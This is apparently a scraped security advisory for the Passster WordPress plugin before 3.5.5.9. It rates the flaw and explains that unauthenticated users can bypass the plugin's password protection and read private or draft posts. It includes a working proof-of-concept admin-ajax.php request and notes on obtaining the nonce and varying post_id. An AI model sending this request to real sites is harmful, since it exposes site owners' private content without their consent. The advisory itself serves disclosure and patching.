Dc11WPEX-ID:0967303D-EA49-4993-84EB-A7EC97240071Passster < 3.5.5.9 - Protection Bypass & Arbitrary Post Access
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
0.001 Low
EPSS
Percentile
45.2%
The plugin does not properly check for password, as well as that the post to be viewed is public, allowing unauthenticated users to bypass the protection offered by the plugin, and access arbitrary posts (such as private) content, by sending a specifically crafted request.
The nonce can be retrieved from a post protected by the plugin (look for ps_ajax). 1260 is the ID of a post protected by the plugin and a password. Arbitrary posts (such as private/draft) can also be accessed the same way, just by changing the post_id parameter)
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
action=validate_input&nonce=a14db14dbd&captcha=a&post_id=1260&type=captcha&protection=fullRelated
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
0.001 Low
EPSS
Percentile
45.2%